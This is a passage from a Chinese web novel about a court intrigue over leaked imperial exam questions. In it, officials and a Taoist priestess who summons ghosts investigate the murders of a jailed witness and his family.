周祎仁话音刚落,魏志鸿便出声质问道:“就算是我儿自己跌下楼的,你凭何说是我儿买的试题? 你周家公子与慕家侄子那晚不是也在楼顶吗?我为何不能怀疑是你们买了试题?” 此话一出,又引起了大殿内新一轮的议论。 “魏大人所言亦有道理啊。既然当晚有三人上过楼顶,就不能只怀疑魏家公子。” “没错。周大人此举颇有些搬起石头砸自己的脚啊。” “看来此案越来越复杂了。居然将周家与慕家都牵扯了进去。最终谁赢谁输,还真看不透呢。” 第248章 248.大理寺来拿人 “看来此案越来越复杂了。居然将周家与慕家都牵扯了进去。最终谁赢谁输,还真看不透呢。” 群臣们的议论之声,亦传入周家父子与皇上耳中。 周家父子心中一悸,却是未料到魏志鸿竟会反咬他们一口。 而今魏庆坤已死,无人再能证明周平章和慕煜峥与试题泄露之案无关。 这对周家与慕家来说,都十分不利。 皇上景逸此时亦觉得魏志鸿所言有理。毕竟谁都不能保证,周家与慕家之子就不会购买试题。 可如今又找不到任何证据,无法将周慕两家的儿子捉拿归案。 这可让景逸犯了难。 思忖良久,景逸才道:“周爱卿,由于此案涉及到你的家人,为了避嫌,此案便交由大理寺调查。周爱卿意下如何?” 周正忠与周祎仁异口同声朗声应道:“臣谨遵陛下旨意!” 景逸又对魏志鸿道:“魏爱卿,你可有异议?” 魏志鸿跪伏在地又磕了两个响头,“臣绝无异议。皇上圣明!” 此话一出,大殿内所有文武百官。皆随着魏志鸿一同跪地高呼,“皇上圣明!” 此事处理到此,已基本落定,只需等待大理寺进行调查便可。 景逸又询问了一遍,可还有要事上奏。无人应答后便宣布退朝。 百官们这才松了一口气,跪送圣上退朝。 待皇帝走后,众官员才陆陆续续转身,三三两两低声议论着,边一同踏出大殿。 离开大殿,来到殿外开阔之地,魏志鸿故意放慢脚步,待周家父子靠近后,才一面走,一面目不斜视地开口与他们搭话。 “周大人,您没想到吧,您也有被我反将一军的一日。” 周正忠与魏志鸿一样,没有侧头看对方,一面向前走一面不屑笑道: “呵呵,真相如何你心里最清楚。不要忘了,国子监的官员都被送去了刑部调查。 我定会从那些人口中撬出证词。到时任你如何狡辩,都无济于事!” 魏志鸿淡定一笑,“那我们便拭目以待吧。” 话毕,魏志鸿大跨几步,加快脚步混入退朝的百官中,离开了皇宫。 周正忠愤恨地望着他消失的方向,双拳紧握。 这时,周祎仁走了上来,低声安慰道:“爹,您稍安勿躁。娄贲与魏志鸿在朝堂浸淫多年,遇上这种事必准备了后招。 但我们也并非束手无策。我与姜灿已着手开始调查十几年前的试卷调包案,以及魏志鸿买凶杀人案。 若是找到证据,魏志鸿与娄贲此次定然逃不过。” 周正忠听后这才稍稍舒心了一些,“好。那些案子就交给你了。爹这就去刑部,盯着审问那些国子监官员,定要让他们张嘴。” 离开皇宫,周祎仁便向永嘉侯府而去。 今日魏志鸿在皇上面前一卖惨,哄得皇上又将周家与慕家视为了买卖试题案的嫌疑犯。 周家与慕家如今已是一条绳上的蚂蚱,他有必要去永嘉侯府跑一趟,将此事告知慕怀瑾等人。 策马来到永嘉侯府,周祎仁惊见侯府大门敞开着,两辆大理寺的马车停在侯府门外,且侯府门内还隐约传来一些吵闹之声。 周祎仁心内一凛,大理寺的人这么快便到永嘉侯府来拿人了? 周祎仁赶忙翻身下马奔了过去,跑进侯府大门,果真望见慕怀瑾夫妇和慕怀清夫妇立在前院中,与几名大理寺官员交涉。 薛敏芝泪流满面,拉扯着一位大理寺官员哭诉着,“大人,我们家煜峥是无辜的...绝不会去买什么试题... 而且他昨日才回府,如今还精神不振,寝食难安。你们今日又要将他带走,让他可...” 若非慕怀清搂着薛敏芝的双臂,勉强扶住她,她定然已哭得虚脱倒地。 周祎仁见此,忙不迭上前高喝一声,“蔺大人!” 为首的那位大理寺少卿蔺祥羽闻声转过身,见是周祎仁,向他略略拱手,“周大人。” 薛敏芝见周祎仁出现,又情绪激动地拉住他,“周大人,蔺大人说煜峥有买卖会试试题的嫌疑,要将他带去大理寺关押。 求求您向蔺大人解释解释,我们煜峥不会做那种事,求蔺大人不要将他带走!” 慕怀瑾也在一旁问:“祎仁,这是为何?是不是今日在朝堂又有了变故?” 周祎仁点点头,而后向薛敏芝温声安抚,“弟妹别急,我这就跟蔺大人说。” “蔺大人,”周祎仁向蔺祥羽抱拳道:“周某明白您是秉公办事。但慕煜峥和我儿周平章,都还是未弱冠的孩子。 他们将将洗清坠楼案的冤屈,如今又要被关进大理寺。 一个成年人都难以承受,更别说他们两个十三四岁的孩子了。 更何况我儿平章的恶疾还未好全,需在府中静养。 若是将他关入大理寺大牢,我怕他那虚弱的身子撑不过去啊。” 蔺祥羽似被他说动,原本肃然冷硬的面容有些许松动,但还是操着公事公办的口吻道:“在下能理解周大人和侯爷的心情。 皇上有令命大理寺严查买卖试题案。慕煜峥和周平章作为嫌疑人,依律必要严加看守。” “周某明白。但我朝法令亦有规言,世家贵族内未及弱冠者,遇案可先软禁在府内,派专人看管。在案件查清前,府中亲眷亦不可离开京城。 若依本律,蔺大人是否可网开一面,让平章和煜峥各自留在府中软禁?我周府与永嘉侯府,亦会全力配合。” 话毕,慕怀瑾开口道:“周大人说的不错。永嘉侯府并非枉法之徒。 蔺大人可派人驻进永嘉侯府严加看守煜衡,我等亲眷也可在京城候审,绝不离京。” 蔺祥羽未立刻答复,思虑片刻后,才气息一缓道:“好罢。那我便留四人在此看管,也劳驾侯爷与周大人多多海涵。” 周祎仁也松了一口气,抱拳道:“多谢蔺大人!” 蔺祥羽向四名手下交代好后续看管事务,便骑着马带另几名手下前往周府。 蔺祥羽走后,慕怀清夫妇将四名大理寺人员带往慕煜峥所住院落,向慕煜峥解释当前情况,并为四人安排在府中的食宿。 周祎仁则跟随慕怀瑾和徐菀来到松风苑,将今日早朝上发生之事一一讲与他们。 第249章 249.周大头 周祎仁则跟随慕怀瑾和徐菀来到松风苑,将今日早朝上发生之事一一讲与他们。 “...魏志鸿一番卖惨后,皇上就信了他的话,又将咱们两家看做买卖试题的嫌犯,还让大理寺来调查。只是没料到大理寺的动作会如此快。” 话毕,慕怀瑾沉思片刻道:“没想到这魏志鸿竟如此诡谲善辩。国子监那帮人,估计娄贲也向他们交代过了,坚决不能透露任何线索。” 周祎仁叹了口气道:“若是拿不到国子监那边的证词,我们两家又被限制出京,该如何去嘉礼县查看县志,调查魏志鸿妻儿的生辰八字呢?” 一旁一直未言的徐菀终于开口,“这有何难?派只鬼魂去不就行了?” 周祎仁眼眸一亮,“徐观主的意思是,让汪进士的鬼魂去嘉礼县。” “没错。”徐菀神态悠然,丝毫未将当前的不利情况放在心上,“汪进士本就是嘉礼县人,比我们更了解当地情况。派他去说不定比我们更快。” “好主意!”慕怀瑾化身专属捧哏,“还是我家夫人有主意啊。” 周祎仁一脸艳羡又不平地望着慕怀瑾,心想徐观主如此妙的人儿,居然愿意嫁给慕怀瑾这个老男人。 慕怀瑾上辈子是做了多少好事,这辈子才能如此有福气啊。 思及此,周祎仁又面带可惜地望向徐莞。徐观主若是再小几岁,就是做他女儿的年纪。 若是能认徐观主做干女儿,不仅能随时找她帮忙,还能让慕怀瑾这个老男人叫我一声干爹。 啧啧啧,那可真是太爽啦! 周祎仁越想越美,甚至连慕怀瑾认他做干爹后,上门拜见他时送什么礼品都想好了。 而看在慕徐二人眼中,周祎仁却不知神游到了哪里,眼神儿直愣愣地望着某处,一个劲傻笑。 “祎仁?祎仁?”慕怀瑾叫了他两声他都没回过神来。 慕怀瑾无语轻叹,只好叫出那个一招制敌的称呼,“周大头!” 周祎仁听到这个称呼蓦地激灵一下回过神来,“你叫我什么!” 慕怀瑾白了他一眼,“我叫你名字你不答应,只好叫你的混名了。” 周祎仁听到那名字顿时涨红了脸,“你…怎么能当着徐观主的面,叫我…叫我…” 周祎仁从小脑袋就比同龄人大一些,小时候圆头圆脑甚是可爱。 可在十二三岁还未抽条时,偏大的脑袋,就显得他头大肩窄腿短,看起来甚是滑稽。 在北疆军营时,慕怀瑾和鄞玄便给他取了这样一个混名,周祎仁也没少被他们嘲笑。 待到十四五岁开始长个子,加之练武之后肩臂变宽,周祎仁的脑袋才没那么显眼。 但实际头围依然很大,以至于他从未戴过除官帽之外的帽子。(官帽也是他找云裳坊特意定制的。) 周祎仁从小没被少叫大头,直至如今被人再叫大头,他还是会恼火。 尤其是被慕怀瑾这个老男人,当着徐观主的面叫…… 岂有此理!他周祎仁不要面子的吗! 徐莞在一旁憋笑差点憋出内伤。 慕怀瑾却对他的羞恼不甚在意,“你方才在想何事?为何笑得那般猥琐?” “我猥琐?我……” 我在想做你爹! 周祎仁心内已在呐喊,但面上硬生生忍住,深吸一口气义正言辞道: “慕怀瑾我警告你,以后别再叫我那个混名。否则我就将你在北疆做过的那些好事告诉徐观主!” 慕怀瑾顿时懵了,“我做的好事?你说说我都做了何事?” 周祎仁扬首唇角微弯,意味不明道:“你做过什么,你心里清楚。” 周祎仁此话将慕怀瑾说得莫名其妙,他侧头望向徐莞,徐莞正面带好奇询问的表情望着他。 “菀菀,我…你别听他胡说,我什么都没做过…” 见慕怀瑾慌了,周祎仁这才满意地向徐莞笑道:“请汪进士去找魏志鸿妻儿之事,便麻烦徐观主了。 我还要回府去安抚一下韶华和平章。那周某便先告辞了。” 话毕,不等慕怀瑾提出送他,周祎仁便脚底抹油,一溜烟溜出了永嘉侯府。 呵呵,慕老头敢揭我的短,我也不会让你好过。你就头疼着如何跟徐观主解释吧。 === 傍晚,慕怀瑾与徐莞又去了慕怀清的院落落霞苑,看望他们一家三口的情况。 经历过最初的慌乱无措之后,在爹娘的安抚下,慕煜峥此时已平静下来,接受了自己要被软禁在房中的事实。 甚至他还反过来安慰爹娘,让慕怀清与薛敏芝不必担心。 因为他相信周祎仁与姜灿,也相信爹娘和伯伯婶婶能帮他洗清冤屈,尽快放他出来。 慕徐二人去往落霞苑时,已见不到慕煜峥,但从慕怀清的转述中,他们也为这个孩子骄傲。 相信经过此一系列事件,慕煜峥也会成熟不少。将来遇上任何情况,都能从容应对。 从落霞苑回到松风苑,天色即将暗下来。 慕怀瑾与徐莞用过晚膳后,便一同来到主屋前的空地上。 今夜月明星稀,是个品酒赏月的好日子。 可今夜,他们还有正事要做。 “准备好了吗怀瑾?”徐莞立在空地正中,向慕怀瑾道。 慕怀瑾轻轻“嗯”了一声,“准备好了。” 徐莞随后从小荷包中取出牛眼泪,准备打开给慕怀瑾点上。 慕怀瑾却伸手一挡,“不必了菀菀。我用肉眼似乎也能看到鬼。” “真的?”徐莞略略惊诧。 一般能用肉眼见到鬼的凡人,要么八字极阴,天生便能感知到阴魂的存在,就是俗称的阴阳眼。 要么颇有道门慧根,稍加点拨修炼,便能以肉眼见到阴魂。 慕怀瑾明显不是第一种,难道是他最近暗暗修习了道门功法? 慕怀瑾微微点头,面上竟有着些许不自然,“对。近来我向朱雀白虎要了一本《道门全书》,闲来无事时读读。 书中提到的咒法与心诀,我有时也会试试。没成想练了两个月后,竟真能见到鬼了。” 徐莞目露惊叹,竖起大拇指赞扬道:“怀瑾真厉害,才练两个月便能见到鬼魂,证明你颇有道门慧根。 第250章 250.做我徒弟吧 “怀瑾真厉害,才练两个月便能见到鬼魂,证明你颇有道门慧根。” 徐莞机灵地眨眨眼,那眼神明晃晃写着:要不你做我徒弟吧。 慕怀瑾却装作没看懂,“菀菀谬赞了。你快开始吧。” 徐莞:“……”哎,如此好的苗子,不当我徒弟可惜了。 想罢,徐莞便收回思绪做起正事。 她从小荷包中拿出那支装有汪进士魂魄的小瓷瓶,拔开瓶塞,默念几句咒语。 一缕灰色烟雾从瓶口飞了出来,落到地上后,便化为了汪进士的身影。 “大师,您唤我,是否需要在下帮忙?” “是的。如今有件要事急需你帮忙。” 而后,徐莞和慕怀瑾将上午周祎仁讲给他们的情况,再讲给汪进士。 “…所以我们现在急需有人前往嘉礼县,查找十几年前的县志,找出有无魏志鸿妻儿的生辰八字。” 汪进士一听便明白过来,“大师是想让我去吗?” “对,因为我们如今都被限制在了京城,无法去嘉礼县亲自查找线索。 思来想去,只有你最适合。所以今日特来向你询问此事,看你愿不愿意。” 汪焕清兴致高昂地抱拳道:“愿意!如此要事大师能够交给我,汪某定鞠躬尽瘁,完成任务!” “好。那你尽早出发,无论能否找到,都尽快回来感知我们。” 慕怀瑾话毕,汪焕清重重点头,“我现在就去!” 说完,汪焕清化作一缕灰烟,眨眼间便飞出了侯府的高墙。 二人的视线从灰烟消失处收回,徐莞望向慕怀瑾惊喜道:“你真的不用牛眼泪就能看到鬼。白虎跟了我快半年还做不到呢。” 慕怀瑾垂眸自谦地笑笑,“可能我与道门有缘吧。” 徐莞十分同意,“我早就说了,你身上紫气萦绕,是大福大贵之命。若不是被那些黑气遮挡,你或许可成帝王之命呢。 若是你愿意跟我修习道术,那些黑气便可消退得更快一些。怎么样?要不要拜我为师?” 慕怀瑾无奈地笑笑,而后握住她的双肩微微弯身,望进她的眸子里,认真道: “菀菀,我修习道术不是为了去除黑气,也不是为了成帝王之命。 而是为了有朝一日,在你需要人手助你一臂之力时,我能及时出手相助。 我不想再看到此前你面对镜魔时,孤立无援、独自一人苦苦支撑的模样。 菀菀你明白吗?我想修习道术,都是为了你。” 银色月华,轻盈洒落在庭院中,亦洒在慕怀瑾俊朗卓绝的面庞上。 似为他笼上一层莹白的柔光,令他那冷峻出世的容颜,多了几分温柔与深情。 徐莞定定望着他深邃的眼眸,惊诧地发现,他的眼里全是她。 刹那间,徐莞的心又蓦地一动,一种不可抑制的感动与爱恋,在她的心中蔓延。 她情不自禁地张开双臂环住他的腰,投入他的怀抱,“谢谢你怀瑾。” 你的心意我明白,我会好好珍惜。 慕怀瑾亦回抱住她,在如此静谧美妙的月色下,搂着心爱的姑娘,是件多么幸福的事。 他也想早日去除身上的黑气,如正常人一般,与她生儿育女。 但慕怀瑾明白凡事急不得。 况且如今朝堂形势不慎明朗,周边强敌环伺。 他们如若不能从此案中脱身,怕是会连累整个家族。 慕怀瑾随即又想起今日午后,娘得知煜峥之事时的反应。 若不是有李嬷嬷从旁搀扶,菀菀又准备好了救心丸给娘服下,娘怕是又要去鬼门关走一遭了。 慕怀瑾肩上的担子还很重,偶尔压得他有些喘不过气。 也只有在徐菀身旁时,他才能卸下一切强大的伪装,完全放松将自己袒露而出。 思及此,慕怀瑾长叹一声,静静享受这难得的放松时光。 少倾,徐菀抬起头道:“还在担心娘吗?我们要不这会儿去娘的院中看看?” 慕怀瑾微讶,认真怀疑起徐菀真的能听见大家的心声。 “你怎会知道我方才在担心娘?你能听到我心中所想?” 徐菀睨着他理所当然道:“这还用听你的心声?听你叹气就知道了。” 慕怀瑾笑着捏捏她的脸颊,“知夫莫若妻啊。走吧,我们去看望娘。” === 与此同时,位于京城西北处的刑部大牢中,光线却异常幽暗 仅靠牢房上方那扇小铁窗洒下的光线,勉强能看清牢房中的情形。 在其中一间牢房的角落,一名微胖的男人正蜷缩在一堆干草上。 “喂,吃饭了。”一名狱卒经过他的牢房时,将两个略微发霉的馒头,和中午吃剩的两盘炒素菜,从牢门下方推了进去。 狱卒走后,微胖男人才有所动静。 他慢慢从草堆上起身,摇摇晃晃来到牢门边,拿起两个馒头便啃了起来。 借着上方小窗洒进的苍白月光,才隐约看清此人正是被押去刑部审问的书院阁管事。 管事与那位花匠被关进此处已有三日。 每日不是在审问中,就是被扔回大牢,漆黑一片,又冷又饿,无人问津。 他的意志早已被打败,若不是背后那位以他的妻女及家人要挟,他早就扛不住招了。 隔壁的花匠更是在第一日就被鞭笞了五下。 那皮鞭抽在身上,皮开肉绽的声音,听得管事亦忍不住瑟瑟发抖。 管事心中实对花匠多有愧疚。 是他让花匠上楼顶去换盆栽,却未向花匠解释盆栽中的秘密。 因而花匠被鞭笞后,仍旧只得声嘶力竭地交代,是管事的吩咐他去换花,其他的实然丝毫不知。 花匠才是冤呐。 所以被鞭笞后,那位花匠一连三日,不分昼夜凄惨痛苦的呻吟,将管事听得日不能安,夜不能寐。 这样的日子,何时才是个头啊... 管事一面啃着馒头,眼泪一面落了下来。 就在这时,坐在牢房门边的他,忽然闻到一阵奇异的花香。 渐渐地,这花香越发浓郁,似还带着些柳絮飘了过来。 管事心中一慌,糟了! 自己常年患有严重哮喘,闻不得此类花粉香或柳絮。 若是吸进了肺部,或有窒息的危险! 第251章 251.杀人灭口 自己常年患有严重哮喘,闻不得此类花粉香或柳絮。 若是吸进了肺部,或有窒息的危险! 如今正是初春,各类春花相继盛开。但在这深牢大狱里,怎么会有花香和柳絮飘进来? 管事的也不傻,顷刻间便明白是背后那人想将他彻底灭口。 他连忙捂住口鼻,但已吸入的花粉和柳絮已通过气管进入他的肺部,令他忍不住咳嗽起来。 管事的连忙捂住口鼻,但已吸入的花粉和柳絮已通过气管进入他的肺部,令他忍不住咳嗽起来。 “咳咳咳...大...大人...救咳咳...救命...”他攀住牢房栏杆,想要开口喊狱卒过来救命。 可此时,三名狱卒坐在好几间牢房之遥的狱卒间内,正吃着晚饭。 不知是谁拿来了两坛好酒和一斤牛肉,三名狱卒霎时兴奋起来。好酒倒上、好肉切上,纵情畅饮畅聊,大笑声响彻整座牢房。 谁又能听得到牢房深处,那微弱的咳嗽声,和断断续续的叫声? 不消片刻,管事的便感觉自己喘不上气。 花粉和柳絮在堵住他的气管,附着在他的肺部,令他痛苦无比,愈加激烈地咳嗽。 再加之情绪紧张,呼吸幅度加深加快,更进一步加剧了他的哮喘。 他一手掐住喉咙,另一手死死攥住牢房栏杆,面色由最初的憋红,逐渐转为窒息的青白,身子也慢慢滑了下去。 喉咙中无意识地发出咕噜咕噜的声音,双目死死瞪出,不到一盏茶的功夫,便渐渐咽了气。 扑通一声,管事的尸体滚落在牢房门口的草堆上,面容狰狞,目眦欲裂。 而几间牢房之隔的狱卒间内,却还在把酒言欢,丝毫无人注意到书院阁管事,已死在了自己的牢房中。 === “什么!书院阁的管事死了!怎么死的!” 次日一早,负责巡逻送的狱卒才发现死在牢房中的管事,连忙向姜灿汇报。 姜灿忙赶到刑部一看,此人已死了四个时辰以上,大罗神仙也无力回天。 一番询问过后,姜灿便命人将管事的尸体送往仵作处,交由仵作查明其死因。 前一日,周祎仁将将安抚好妻儿秦韶华与周平章,又安排好大理寺在周府看管的官员。 今日一来刑部,便听到如此令人惊骇的噩耗,他忍不住对着姜灿大喊,“什么!书院阁的管事死了!怎么死的!” 姜灿将他带到一处无人的房间,低声向他解释:“那位管事常年患有哮喘,表面上看是死于哮喘发作。 我已审问过昨晚看管牢房的四名狱卒,他们都说昨晚无闲杂人等进来过。 只是他们昨晚在岗时喝了酒,未能及时发现死者。我已将四人停职查办,以候审问。如今管事的尸体已送至文仵作处,下午便能出结果。” 周祎仁听完,一拳锤在面前的桌案上,满面愁容又愤恨无比。 “定是魏志鸿那个混蛋怕我们审问出什么,便如此急切地杀人灭口!” 姜灿未言,面上亦是一派沉郁与愤然。 少倾,周祎仁抬起头道:“一会儿我带人去管事的家里走访慰问一番,看能不能问出什么线索。” 周祎仁顿了顿又问:“对了,那些国子监的官员审问得如何了?” 姜灿面容凝重摇摇头,“那些老狐狸,一个字都不肯说。他们又都有官职在身,加之几个高官年事已高,我们不能对其用刑,因而还未问出线索。” 周祎仁对此早有心理准备,“无妨,尚书大人会想办法。那些老狐狸混迹官场几十年,谁还没个把柄。只要找到他们的把柄,我不信他们嘴还那么硬。” 姜灿点头,而后又道:“周大人,还有个好消息。我们已经找到了汪进士的骸骨。从骸骨上的伤痕推断,有三名杀手可能是杀害汪进士的凶手。” 周祎仁闻此稍稍振奋了一些,“好!那这条线索就交由你来跟踪了。务必尽快确认是哪名杀手,再套出他的证词。” “是,大人!” 二人在刑部谈罢,便各自根据线索行动起来。 周祎仁查到管事家住河林街南车巷,便启程往那边去。 到了南车巷附近,周祎仁竟遇到了几位意料之外的福星。 “徐观主!朱雀白虎!你们为何在此处?” 徐菀悠然一笑,“今日春光甚好,我闲在府中无事,便为自己占了一卦。 卦象显示我今日来此地,可逢财缘。所以我就带着两个徒弟来这里逛逛,没成想竟碰到了周大人您。真是有缘啊!” 朱雀与白虎也一脸喜色望着周祎仁,仿佛不是在看周祎仁,而是在看财神爷。 周祎仁面上的笑容一僵,有缘确实是有缘,但他不想每次都做那散财之人啊。 见周祎仁没说话,徐莞又问:“周大人来此又是为什么呢?” 周祎仁这才回过神来,“哦,前几日被带去刑部审问的书院阁管事,昨晚突然在刑部大牢中暴毙。 今日我特来他家中慰问,顺便问问他的家人有无什么线索。” 随后周祎仁将管事之死的一些细节讲与徐莞等人。 徐莞便明白八成是魏志鸿动的手脚,提前杀人灭口。 “那魏志鸿果然心狠手辣。身上背负了那么多条人命,他的大限也不远了。” 徐莞说罢顿了顿,又道:“周大人,我们可否与你同去,说不定能用道法助你找出线索。” “当然可以!”周祎仁兴致勃勃道:“我还巴不得您帮忙呢。徐观主,我们走吧。” 话毕,周祎仁先行,徐莞三人紧跟其后,一同往南车巷里走去。 来到管家所住的那户门前,周祎仁先是敲门喊了几声。之后等了片刻,未听到里面有任何回应。 “咦奇怪了,难道他们家人出门了?”周祎仁喃喃道。 这时,徐莞忽然眉心一蹙,“不对,这里面死气浓重,怕是里面的人已遭遇不测。” “什么!”周祎仁一声惊呼,忙抬脚用力将大门踹开,而后快步跑了进去。 跑过小前院来到主屋,周祎仁一把推开门,眼前的一幕令他骇然大惊。 第252章 252.向鬼魂求线索 跑过小前院来到主屋,周祎仁一把推开门,眼前的一幕令他骇然大惊。 但见主屋中央的桌上,一中年女子和一十二三岁的女童,趴在桌上一动不动。 而在窗下的榻上,和另一侧的椅子上,还歪倒着一对老年妇女和大爷。 四人皆早已没了气息。一看便知是管家的爹娘及妻女。 紧随周祎仁后而来的徐莞三人,望见这一幕亦忍不住暗吸一口冷气。 周祎仁快步上前捏起他们的脸看了看,见四人口鼻中皆流着血,他愤恨道:“他们是被毒死的,且死亡时间不超过两个时辰。” 话毕,周祎仁转过身,气愤地在主屋中来回踱步,“该死的魏志鸿!为了掩盖他的罪证,竟杀了管事的全家!” 走了好几个来回,周祎仁胸中的怒意却还是没有丝毫消退。 “如今该怎么办?管事的这条线索已完全被魏志鸿斩断。我们接下来该如何找证据!” 徐莞望见这一幕亦心痛不已,但她明白一切有因必有果。 魏志鸿做的一切恶,将来都会报应在他和他的家人身上。 徐莞上前一步,在周祎仁身后温声道:“周大人,您稍安勿躁,让我来试试能不能找到什么证据。” 闻言,周祎仁仿佛听到了仙乐,急忙转过身连连点头,“好好好!徐观主您快试试吧!” 徐莞点头,先从小荷包中取出牛眼泪,让周祎仁和白虎给眼睛上抹上一些。 之后命朱雀白虎将门窗全部关闭,屋里顷刻间暗了下来。 而后,徐莞从小荷包中取出两支白蜡烛和两张黄纸。 用朱砂膏在黄纸上画下两道符,再将黄纸包裹在白蜡烛外。 将蜡烛点燃摆在中央的桌案上,屋内便稍稍亮了一些。 随后,徐莞取下屋里的香炉放在两支白蜡烛中间,又取了三支香翻手点燃。 如此,一个小小的祭坛便做好了。 “此四人将死不过十二个时辰,魂魄一定还流连在这附近不愿离去。只不过魂魄之力还太弱,无法出现与人交流。 我用此法可将他们的魂魄召唤出来。待会儿他们的魂魄出现,周大人您就可以问问他们了。” “好。”周祎仁已有过几次经验,此时深吸几口气便让自己冷静下来,做好与鬼魂交流的准备。 而后徐莞便立在香烛前方,闭上眼默念咒语。 随着她的念咒,香炉中的三支香燃烧得愈加旺盛。 不一会儿,徐莞突然睁开眼,大喊一声,“现!” 周祎仁瞬时感觉那两支蜡烛闪了闪,似乎有一阵阴风自他后脑勺吹过,令他不由得打了个寒颤。 奇怪,这间屋子的门窗皆紧闭着,为何会有阴风阵阵? 难道是…那些鬼魂出来了? 周祎仁再一转头,只见一张青中泛绿的脸,瞪着布满血丝的眼珠,再加上嘴角边那抹艳红的血痕,赫然出现在他眼前。 吓得周祎仁哇呀大叫一声,转身便抱住了身后的马白虎。 “妈呀!鬼…鬼啊!” 白虎被他抱得哭笑不得,搂着他在他耳边无奈道: “周大人,您又不是第一次见鬼了,为何还如此害怕?” 周祎仁死死抱住白虎的脖子,眼睛一点都不敢睁,“这…这只鬼很吓人啊…你们让他正常一点…正常一点啊…” 一旁的徐莞与朱雀见此,也相视一眼忍俊不禁。 之后徐莞向几只鬼魂道:“听见了吗!周大人让你们正常一点。若是将周大人吓坏了,谁还会为你们一家申冤?” 在徐莞的“淫威”之下,四只鬼乖乖靠墙站好。 方才吓到周祎仁的那只鬼,是管事的爹。 此刻难为情地向周祎仁说:“大人恕罪。小的…小的是头一次做鬼,没料到成了鬼会如此吓人。 方才吓到您了,实在不好意思。我们现在都正常了。您别怕。” 闻言,周祎仁这才鼓起勇气睁开眼,再慢慢转过身,见墙边站着的确实是屋里这四名死者的鬼魂。 呼,这回终于正常了… “你们是书院阁管事崔巍的家人?” 其中那位中年女子点点头,“是的大人。我是崔巍的妻子,这是我们的女儿,还有他的爹娘。” 管家妻子说着,顺势搂住身旁的小姑娘。 小姑娘见到自己的肉身已死,吓得埋首进她娘的怀里,呜呜哭泣。 周祎仁又问:“你们是怎么死的?” 管事他爹开口道:“今日一早我们一家四口在家吃早膳。正吃着,忽然感觉一阵胸闷恶心。 还不等把事情搞清楚,我们一家人便都开始口鼻流血,不一会儿便全都没了气息。 之后再有意识,便是方才那位大师将我们唤出来了。” “你们是中毒而死。此前没有注意到有可疑之人潜入你家,给你们饭菜中下毒吗?”周祎仁心生疑惑。 四只鬼皆凄凄然摇摇头,一副弱小无助的模样。 这时,管事的媳妇壮起胆子问:“周大人,我家男人崔巍是不是也...” 周祎仁沉郁地点点头,“嗯。今日一早,崔管事被发现死在了牢房里。初步判断是哮喘发作而死,但我认为应是有人刻意为之。” 四只鬼听到此消息,皆掩面怅然而泣。 但在哭泣中,有的鬼掉了眼珠,有的掉了鼻子,有的甚至整张脸皮都耷拉下来,将周祎仁和朱雀白虎等人看得头皮发麻、心惊肉跳。 徐菀连忙喝止,“够了!你们别哭了!既然你们全家都死了,哭也无用。想找出杀害你们全家的凶手,就好好配合周大人回答问题!” 经徐菀一吼,四只鬼才渐渐止住哭泣,五官脸皮什么的,也渐渐归位。 周祎仁捂着胸口长舒一口气,调整好心态再次开口,“请你们仔细想想,近一两个月有无可疑之人来找过崔巍,向他交代过什么。 或是崔巍近来有无什么异常?比如突然拿回来一大笔钱财,亦或是对你们说了什么不清不楚的话?” 四只鬼皆低下头仔细回想着。少倾,管事的媳妇缓缓抬起头,小声道:“半个月前,我家男人好像对我说过一些听不懂的话。” 周祎仁心头一紧,“他说了什么!” 第253章 253.财缘广进 周祎仁心头一紧,“他说了什么!” “那天晚上我们全家在用晚饭,孩儿她爹从头到尾都哭丧着脸,唉声叹气的。我就问他怎么了。 他突然十分正式地把我们全家人都叫过来,对我们说,若是有一日他回不来了,就让我们把一个信封交给官府...” 还不等她说完,周祎仁便急急问:“那信封呢?” “那信封被他埋在前院大水缸下面的土里。他还嘱咐我们不要拆开看,确定他回不来了才能给官府。” 此话一出,周祎仁忙不迭便夺门而出。 屋子门敞开的那一刻,屋外的阳光刹那射入屋内,将四只鬼吓得纷纷躲在了角落中。 徐菀命朱雀白虎将门关上,而后向四只鬼道:“多谢你们向周大人提供的线索。相信不久之后他就能找到杀害你们全家的凶手。 如今还有一事摆在你们面前。你们皆是枉死之人,阳寿未尽。 是想继续留在人间做一家子鬼家人,还是想尽快转世投胎?” 管事的媳妇一听,忙不迭欣喜道:“大师,您可以帮我们转世投胎?” “对。” “那我们...” 管事媳妇说了几个字,又蓦地停住,向管事的爹娘望去。 而后轻叹一声道:“大师,请您帮我女儿和爹娘投胎去吧。我想等我男人的魂魄回来,跟他一起看到凶手被绳之以法。如此我们才能安心去投胎。” 媳妇说罢,管事的爹娘竟摇头拒绝,“娟子,你说的这是什么话。我和你爹怎会丢下你一人等巍儿回来。要等也是咱们几个一块儿等啊。” 管事媳妇听了这番话,眼中闪现出感动的泪光,“爹娘,你们已操劳了一辈子,早日去投胎享福多好啊。” 管家娘道:“投胎也不一定享福啊。我和你爹这辈子已经活够了,再活一辈子估计也好不到哪儿去。还不如在这世上多留一阵儿,等巍儿回来和我们团聚。” “是啊,我们也舍不得巍儿啊。”管家爹道:“再说若是我们都投胎去了,你孤魂野鬼一个,被其他鬼欺负该如何?还是让我们留下来陪你吧。请大师先送妮儿投胎就好。” 管事的女儿一听,激动喊了起来,“我也不要投胎!我也要跟娘和祖父祖母一起等爹回来!” 管家媳妇搂着女儿,抬手轻抚着她的脸颊,眼含不舍,“妮儿啊,你听娘的话。你年纪还小,不用跟我们一起在这儿受苦。 尽快投胎去个好人家,我和你爹还有祖父祖母,都会在天上保佑你的。” 随后,四只鬼相拥而泣,将徐菀也看的有些动容,开口劝道:“你们不必如此,像生离死别一般。你们四人此生未做恶事,投胎只是先后的问题,且来生定当比此生过得好。 妮儿你也放心,你先去投胎。待周大人将此案了结后,你的家人便会一同转世与你团聚。” 在一家人的劝导下,妮儿终于抽泣着点头。 随后,徐菀施法唤出谢必安与范无咎两位阴差,向二人解释了几句,最后求情道: “范叔谢书,这孩子还未及笄就被恶人夺了性命。劳烦您为这孩子来世安排个好人家,以成她此生未成之命。” 范无咎翻了翻手中的账册,看过后点点头,“尔等安心,地府秉公办事,定会给她个好结果。” 四只鬼忙不迭向二位阴差下跪磕头,连连道谢。 末了,妮子向自己此生的家人道别,与两位阴差一同走进了那扇烟雾缭绕的黑色大门。 良久,黑色大门关闭,渐渐消失在众人眼前。 剩下的三只鬼又转过身向徐菀磕头道谢,“多谢大师!您真是神女下凡,慈悲为怀啊! 我们一家此生无以为报,只能请您收下家中攒的一些银钱和细软。望大师莫要嫌弃,一定要收下!” 徐菀摇摇头道:“你们不必如此客气。我今日与你们有缘,帮你们乃命中注定。 